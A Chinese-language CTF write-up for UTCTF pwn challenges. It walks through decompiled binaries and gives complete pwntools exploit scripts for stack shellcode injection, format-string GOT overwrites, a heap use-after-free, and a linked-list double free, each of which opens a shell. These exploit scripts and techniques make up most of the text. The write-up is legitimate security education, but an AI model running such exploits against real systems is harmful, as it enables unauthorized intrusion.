本文首发于先知论坛 https://xz.aliyun.com/t/4423
Baby Pwn 1 nc stack.overflow.fail 9000
检查保护情况
1 2 3 4 5 6 7 [*] '/home/kira/pwn/utctf/babypwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
可以看到什么保护都没开,这种情况一般优先考虑写shellcode的方式
1 2 3 4 5 6 int __cdecl main (int argc, const char **argv, const char **envp) { welcome(); do_calc(); return printf ("Goodbye %s\n" , &name); }
主函数比较简单,一个welcome函数和一个calc函数。
1 2 3 4 5 6 7 int welcome () { puts ("Welcome to the UT calculator service" ); puts ("What is your name?" ); gets(&name); return printf ("Hello %s\n" , &name); }
函数要求我们输入一个name,name存放在bss段,程序没有开PIE,地址可知,那么我们可以在这里写入shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int do_calc () { char v1; char nptr; __int64 v3; __int64 v4; char v5; printf ("Enter an operation (+ - *): " ); v5 = getchar(); flush_stdin(); if ( v5 != '*' && v5 != '+' && v5 != '-' ) { puts ("That's not a valid operation!" ); exit (0 ); } printf ("Enter the first operand: " ); gets(&nptr); v4 = atol(&nptr); printf ("Enter the second operand: " ); gets(&v1); v3 = atol(&v1); if ( v5 == 43 ) return printf ("The sum is: %ld\n" , v4 + v3); if ( v5 == '-' ) return printf ("The difference is: %ld\n" , v4 - v3); if ( v5 != '*' ) { puts ("How did I get here?" ); puts ("Exiting.." ); exit (0 ); } return printf ("The product is: %ld\n" , v3 * v4); }
这里有两个溢出点,都是输入运算数的地方,我这里选择gets(&v1)
作为溢出点,只要填充0x98个字符就可以覆盖ret了,这里需要需注意一下,程序会判断运算符是否为+ - *
,如果不是就会exit
,所以我们填充垃圾数据的时候注意不能把运算符(v5
)改成其他字符。
1 2 3 4 5 6 7 8 9 from pwn import *p = remote('stack.overflow.fail' ,9000 ) name_addr = 0x601080 p.sendlineafter('name?\n' ,asm(shellcraft.sh())) p.sendline('+' ) p.sendline('123' ) p.sendline('+' *0x98 +p64(name_addr)) p.interactive()
BabyEcho 1 2 3 I found this weird echo server. Can you find a vulnerability? nc stack.overflow.fail 9002
检查保护情况
1 2 3 4 5 6 [*] '/home/kira/pwn/utctf/BabyEcho' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
程序比较简单,没有栈溢出,不过有一个很明显的格式化字符串漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { char s; unsigned int v4; v4 = __readgsdword(0x14 u); setbuf(stdin , 0 ); setbuf(stdout , 0 ); puts ("Give me a string to echo back." ); fgets(&s, 50 , stdin ); printf (&s); exit (0 ); }
这里有一个坑,s
的地址不是4字节最齐,动态调试一下会看得更清楚,在0x08048593
处下一个断点,gdb调试一下:
由上图可见,有两个a
是在0xffffd458
处,所以我们格式化字符串进行任意地址写的时候,要注意填充两个字节以确保地址对齐。
思路整理:
由于题目不是while循环,第一步要先把exit@got.plt
改成main
,令程序进入死循环
动态调试的时候发现栈中有_IO_2_1_stdin_
的地址,可以用于泄露libc基址
把printf@got.plt
改成system
,之后再次输入/bin/sh
即可getshell。由于出题人没有给libc,尝试了好几个libc版本,才打远程成功,最后确认libc版本为libc6-i386_2.23-0ubuntu10_amd64.so
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *p = remote('stack.overflow.fail' ,9002 ) elf = ELF('./BabyEcho' ) libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so' ) main_addr = 0x804851B exit_got = 0x804A01C byte1 = main_addr & 0xff byte2 = (main_addr & 0xff00 ) >> 8 payload = '%{}c%{}$hhn' .format(byte1,11 +8 ) payload += '%{}c%{}$hhn' .format(byte2-byte1,11 +9 ) payload = payload.ljust(34 ,'a' ) payload += p32(exit_got)+p32(exit_got+1 ) p.sendlineafter('back.\n' ,payload) p.sendlineafter('back.\n' ,'%2$p' ) libc.address = int(p.readline(),16 ) - libc.sym['_IO_2_1_stdin_' ] system_addr = libc.sym['system' ] byte1 = system_addr & 0xff byte2 = (system_addr & 0xffff00 ) >> 8 payload = '%{}c%{}$hhn' .format(byte1,11 +8 ) payload += '%{}c%{}$hn' .format(byte2-byte1,11 +9 ) payload = payload.ljust(34 ,'a' ) payload += p32(elf.got['printf' ])+p32(elf.got['printf' ]+1 ) p.sendlineafter('back.\n' ,payload) p.interactive()
PPower enCryption 1 nc stack.overflow.fail 9001
检查保护情况
1 2 3 4 5 6 7 [*] '/home/kira/pwn/utctf/ppc' Arch: powerpc64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x10000000) RWX: Has RWX segments
Encryption Service 1 nc stack.overflow.fail 9004
检查保护情况
1 2 3 4 5 6 [*] '/home/kira/pwn/utctf/Encryption_Service' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int __cdecl main (int argc, const char **argv, const char **envp) { const char *v3; int v5; unsigned __int64 v6; v6 = __readfsqword(0x28 u); setbuf(stdin , 0L L); setbuf(stdout , 0L L); puts ("What is your user id?" ); v3 = "%d%*c" ; __isoc99_scanf("%d%*c" , &user_id); while ( 1 ) { print_menu(v3); v3 = "%d%*c" ; __isoc99_scanf("%d%*c" , &v5); switch ( v5 ) { case 1 : encrypt_string(); break ; case 2 : remove_encrypted_string(); break ; case 3 : view_messages(); break ; case 4 : edit_encrypted_message(); break ; case 5 : return 0 ; default : v3 = "Not a valid option" ; puts ("Not a valid option" ); break ; } } }
程序提供了4个功能分别是:
创建一个加密字符串,为一个0x28大小的结构体,需要选择加密方式,输入明文长度以及明文内容;
删除一个加密字符串,不会free掉创建的结构体,不过会把结构体中freed
的标记位置为1,然后free掉明文和密文的内存;
打印已创建的加密字符串;
编辑一个加密字符串,可以重新输入明文;
加密字符串的结构体如下:
1 2 3 4 5 6 7 8 9 struct message { char *plaintxt; char *ciphertxt; void *encrypt; void *print_info; __int32 isFreed; __int32 size; };
简单看了一下,程序没有明显的漏洞,不过有几个地方的处理逻辑值得留意一下。
encrypt_string函数(这里的*&size[4]
应该是message结构体,但IDA把它和size连在一起,不知道如何修改类型,求知道的师傅告知一下)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 unsigned __int64 encrypt_string () { int v1; char size[12 ]; char *plaintxt; void *ciphertxt; unsigned __int64 v5; v5 = __readfsqword(0x28 u); print_encryption_menu(); __isoc99_scanf("%d%*c" , &v1); *&size[4 ] = create_info(); if ( *&size[4 ] ) { if ( v1 == 1 ) { *(*&size[4 ] + 16L L) = key_encrypt; *(*&size[4 ] + 24L L) = print_key; } else { if ( v1 != 2 ) { puts ("Not a valid choice" ); return __readfsqword(0x28 u) ^ v5; } *(*&size[4 ] + 16L L) = xor_encrypt; *(*&size[4 ] + 24L L) = print_xor; } printf ("How long is your message?\n>" , &v1); __isoc99_scanf("%d%*c" , size); *(*&size[4 ] + 36L L) = ++*size; plaintxt = malloc (*size); printf ("Please enter your message: " , size); fgets(plaintxt, *size, stdin ); **&size[4 ] = plaintxt; ciphertxt = malloc (*size); *(*&size[4 ] + 8L L) = ciphertxt; (*(*&size[4 ] + 16L L))(plaintxt, ciphertxt); printf ("Your encrypted message is: %s\n" , ciphertxt); } return __readfsqword(0x28 u) ^ v5; }
单看输入点,使用的是fgets
,长度也是限制得死死的,没有截断问题和溢出点。但是,留意一下整个流程,会发现一些问题:
函数在开始就直接创建一个结构体,而当我们选择一个错的加密方式直接退出后,但是创建的结构体并没有删除。由于函数提早退出,下面各种写入步骤全部跳过了,预留内存的数据没有改下,那我们就有UAF的可能性了。
输入明文长度的时候没有判断输入数字合法性,如果我们输入-1
,那么最终size=0
,就会出现malloc(0)
的情况。同时fgets
时的size为0,意味着不会读取任何数据,内存中的数据就不会更改,这样就可以绕过fgets
末位加\x00
截断的问题,从而泄露内存数据。
由于程序中没有system
之类的函数,那么第一步还是考虑如何泄露libc基址,可以上述第二点漏洞进行,步骤如下:
创建一个加密字符串,明文长度为0x100;
删除此加密字符串,根据先free明文,后free密文的顺序,明文heap块的头会写入main_arena+88
的地址,之后free密文后,两个unsorted bins会合并到top chunk;
创建一个加密字符串,明文长度为0(size输入-1
),malloc(0)
会创建一个0x20大小的chunk,由于size=0
,main_arena+88
的地址并不会被改写;
view_messages()
打印信息,就会把main_arena+88
的地址泄露;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int view_messages () { struct message *v0 ; signed int i; for ( i = 0 ; i <= 19 ; ++i ) { v0 = information[i]; if ( v0 ) { LODWORD(v0) = information[i]->isFreed; if ( !v0 ) { printf ("Message #%d\n" , i); (information[i]->print_info)(); printf ("Plaintext: %s\n" , information[i]->plaintxt); LODWORD(v0) = printf ("Ciphertext: %s\n" , information[i]->ciphertxt); } } } return v0; }
程序打印信息时会调用结构体中print_info
函数,如果能够把这个函数改成system
或one_gadget
就能getshell了。这里我们可以利用上面提到的第一点漏洞:
创建一个加密字符串,明文长度为0x100,明文内容为一个假结构体,其中print_info
处为one_gadget
地址;
删除此加密字符串,明文的chunk回收到unsorted bins中;
创建一个加密字符串,输入一个不存在的加密方式,如3
;
继续创建一个加密字符串,输入一个不存在的加密方式,如3
,此时会unsorted bins中分裂一块内存给字符串结构体使用,结构体中print_info
为内存原有的数据,即one_gadget
地址;
view_messages()
打印信息,调用information[i]->print_info
完整EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *p = remote('stack.overflow.fail' ,9004 ) elf = ELF('./Encryption_Service' ) libc = ELF('./libc-2.23.so' ) def encrypt_string (option,size,message) : p.sendlineafter('>' ,'1' ) p.sendlineafter('>' ,str(option)) if option > 2 : return 0 p.sendlineafter('>' ,str(size)) if size < 0 : return 0 p.sendlineafter('message: ' ,message) def remove_encrypted_string (idx) : p.sendlineafter('>' ,'2' ) p.sendlineafter('remove: ' ,str(idx)) def view_messages () : p.sendlineafter('>' ,'3' ) def edit_encrypted_message (idx,message) : p.sendlineafter('>' ,'4' ) p.sendlineafter('message' ,message) p.sendlineafter('id?\n' ,str(0xff )) encrypt_string(1 ,0xff ,'a' *0xff ) remove_encrypted_string(0 ) encrypt_string(1 ,-1 ,'' ) view_messages() p.recvuntil('Plaintext: ' ) libc.address = u64(p.recv(6 )+'\x00\x00' ) - 0x3c4b20 - 88 success("libc.address:{:#x}" .format(libc.address)) one_gadget = libc.address + 0x45216 fake_message = flat(0 ,0 ,one_gadget,one_gadget,0 ,0 ) encrypt_string(1 ,0xff ,fake_message) encrypt_string(1 ,0xff ,'123' ) remove_encrypted_string(1 ) encrypt_string(3 ,0 ,0 ) encrypt_string(3 ,0 ,0 ) view_messages() p.interactive()
Jendy’s 1 2 3 I've probably eaten my entire body weight in Wendy's nuggies. nc stack.overflow.fail 9003
检查保护情况
1 2 3 4 5 6 [*] '/home/kira/pwn/utctf/Jendy' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
1 2 3 4 5 6 7 8 9 10 int print_menu () { puts ("Welcome to Jendy's, How may we take your order?" ); puts ("1. Add Name to Order" ); puts ("2. Add Item to Order" ); puts ("3. Remove Item from Order" ); puts ("4. View order" ); puts ("5. Checkout" ); return putchar (62 ); }
程序基本功能:
创建一个name,每次创建都malloc(0x20)的内存;
添加一个item,item为单链表结构,后面详细说;
删除一个item,有对单链表进行操作,后面详细说;
打印order中name及item的信息;
结构体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 struct order { struct item *head ; struct item *tail ; char *name; __int64 count; }; struct item { char [24 ] name; struct item *next_item ; };
这种链表结构的题目,一般出现漏洞的地方都在链表删除的地方。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 unsigned __int64 __fastcall remove_item (struct order *a1) { int v2; int i; struct item *ptr ; struct item *v5 ; unsigned __int64 v6; v6 = __readfsqword(0x28 u); puts ("Please enter the number of the item from your order that you wish to remove" ); __isoc99_scanf("%d%*c" , &v2); if ( v2 >= 0 ) { ptr = a1->head; v5 = 0L L; if ( v2 || !ptr || v2 ) { for ( i = 0 ; ptr && i != v2; ++i ) { v5 = ptr; ptr = ptr->next_item; } if ( ptr && i == v2 ) { if ( LODWORD(a1->count) - 1 == v2 ) { free (a1->tail); a1->tail = v5; } else { v5->next_item = ptr->next_item; free (ptr); } --LODWORD(a1->count); } } else { free (ptr); *(_OWORD *)&a1->head = 0u LL; --LODWORD(a1->count); } } return __readfsqword(0x28 u) ^ v6; }
这个删除的函数有几个迷之操作:
删除0号item
的时候,直接把head
清0,但是没有对head
重新赋值;
如果输入的编号v2
刚好是最后一个item(count-1
),那么直接删除a1->tail
,而不是删除ptr
;
删除head
或者tail
,都不会清空item
结构体的next_item
指针;
单链表查找删除的item
时,并不会检查v2
是否超过count
的大小;
继续看一下add_item()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 unsigned __int64 __fastcall add_item (struct order *a1) { size_t v1; int v3; unsigned int i; char *dest; struct item *v6 ; unsigned __int64 v7; v7 = __readfsqword(0x28 u); puts ("Which item would you like to order from Jendy's?" ); for ( i = 0 ; (signed int )i <= 4 ; ++i ) printf ("%d. %s\n" , i, (&options)[i]); __isoc99_scanf("%d%*c" , &v3); if ( v3 >= 0 && v3 <= 4 ) { dest = (char *)malloc (0x20 uLL); v1 = strlen ((&options)[v3]); strncpy (dest, (&options)[v3], v1); v6 = a1->head; ++LODWORD(a1->count); if ( v6 ) a1->tail->next_item = (struct item *)dest; else a1->head = (struct item *)dest; a1->tail = (struct item *)dest; } else { puts ("Not a valid option!" ); } return __readfsqword(0x28 u) ^ v7; }
这里如果a1->head
为空,则会重新对a1->head
赋值为新创建的item
,同时a1->tail
也赋值为新创建的item
。现在回去看看remove_item()
的第一个迷之操作,如果我们创建2个item
,然后删掉0号item
,再创建一个item
,那么a1->head
和a1->tail
同时指向同一个item
,此时出现double free
漏洞了。
继续下一个函数add_name()
1 2 3 4 5 6 char *__fastcall add_name (struct order *a1) { puts ("What is your name?" ); a1->name = (char *)malloc (0x20 uLL); return fgets(a1->name, 32 , stdin ); }
name
的大小刚好也是0x30,刚好和item
的大小一样,由于删除后指针不清除,可以通过add_name()
进行UAF。
最后看一下本题唯一的打印函数,此处应该是泄露地址的突破口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned __int64 __fastcall view_order (struct order *a1) { unsigned int i; char *format; char s; unsigned __int64 v5; v5 = __readfsqword(0x28 u); if ( a1->name ) { snprintf (&s, 0x28 uLL, "Name: %s\n" , a1->name); printf ("%s" , &s); } format = (char *)a1->head; for ( i = 0 ; SLODWORD(a1->count) > (signed int )i; ++i ) { printf ("Item #%d: " , i); printf (format); putchar (10 ); format = (char *)*((_QWORD *)format + 3 ); } return __readfsqword(0x28 u) ^ v5; }
这里存在一个很明显的格式化字符串漏洞,但是参数并不存在栈中,利用起来会有不少麻烦。item
名字的打印次数跟count
有关,如果通过UAF泄露信息,必须要注意count
的大小。
关于heap地址泄露,是在调试过程无意发现的,某次的调试过程发现出现不可见字符。
gdb调试看一下内存到底是什么情况,竟然发现当item
名字用Peppercorn Mushroom Melt
时,由于这个名字长度为24,把后面的*next_item
拼接上了,把堆地址泄露出来,这个不知道是不是出题人故意留的漏洞,太隐蔽了!
由于思考过程过于曲折,我直接给出最终的思路,配合EXP食用:
首先创建名字为Peppercorn Mushroom Melt
的item
泄露heap地址;
删除最后一个item
,用add_name
把释放的内存复写,*next_item
写上order的结构体地址;
用add_name
准备两个格式化字符串payload,注意*next_item
要连接好,用于将puts@got.plt
的地址写入栈中,为之后改puts@got.plt
做准备;
使用remove_item
第4个迷之操作,删除第4个item
,此时实际只有2个item
,函数一路查找到order的结构体,然后删掉;
用add_name
把释放的内存复写,伪造一个order的结构体,其中*name
改成got表地址,泄露libc地址;head
、tail
和count
也需要精心构造。
使用view_order
泄露libc地址,并且通过精心构造的item
链触发格式化字符串;
删掉第一个格式化字符串payload,写入一个新的格式化字符串payload,利用remove_item
第二个迷之操作删掉第二个格式化字符串payload,写入一个新的格式化字符串payload。
使用view_order
触发格式化字符串,将puts@got.plt
改为one_gadget
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 def add_name (name) : p.sendlineafter('>' ,'1' ) p.sendlineafter('name?\n' ,name) def add_item (idx) : p.sendlineafter('>' ,'2' ) p.sendlineafter('4. Dave\'s Single\n' ,str(idx)) def remove_item (idx) : p.sendlineafter('>' ,'3' ) p.sendlineafter('remove\n' ,str(idx)) def view_order () : p.sendlineafter('>' ,'4' ) add_item(3 ) add_item(3 ) view_order() p.recvuntil('Melt' ) heap_addr = u64(p.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' )) - 0x70 add_item(3 ) remove_item(2 ) add_name('a' *24 +p64(heap_addr + 0x10 )[:-1 ]) payload = '%{}c%{}$n' .format(elf.got['puts' ],16 ) add_name(payload.ljust(24 ,'a' )+p64(heap_addr+0x100 )[:-1 ]) payload = '%{}c%{}$n' .format(elf.got['puts' ]+1 ,47 ) add_name(payload.ljust(24 ,'b' )+p64(heap_addr+0x40 )[:-1 ]) add_name('c' *24 +p64(heap_addr+0xd0 )[:-1 ]) remove_item(3 ) add_name(p64(heap_addr+0x130 )+p64(heap_addr+0x100 )+p64(elf.got['free' ])+p64(5 )[:-1 ]) view_order() libc.address = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) - libc.sym['free' ] one_gadget = libc.address + 0x45216 byte1 = one_gadget & 0xff byte2 = (one_gadget & 0xffff00 ) >> 8 remove_item(1 ) payload = '%{}c%{}$hhn' .format(byte1,24 ) add_name(payload.ljust(24 ,'d' )) remove_item(3 ) payload = '%{}c%{}$hn' .format(byte2,52 ) add_name(payload.ljust(24 ,'e' )+p64(heap_addr+0xd0 )[:-1 ]) view_order() p.interactive()
总结 前面3题的难度总体来说不高,不过最后一题的漏洞利用花了好长时间进行调试和修正,这题的单链处理有各种漏洞,做题过程中也发现可以fastbin dup
,不过最终效果并不太好,多次调整策略后最终放弃了,如果各位大佬有其他解法,欢迎一起讨论。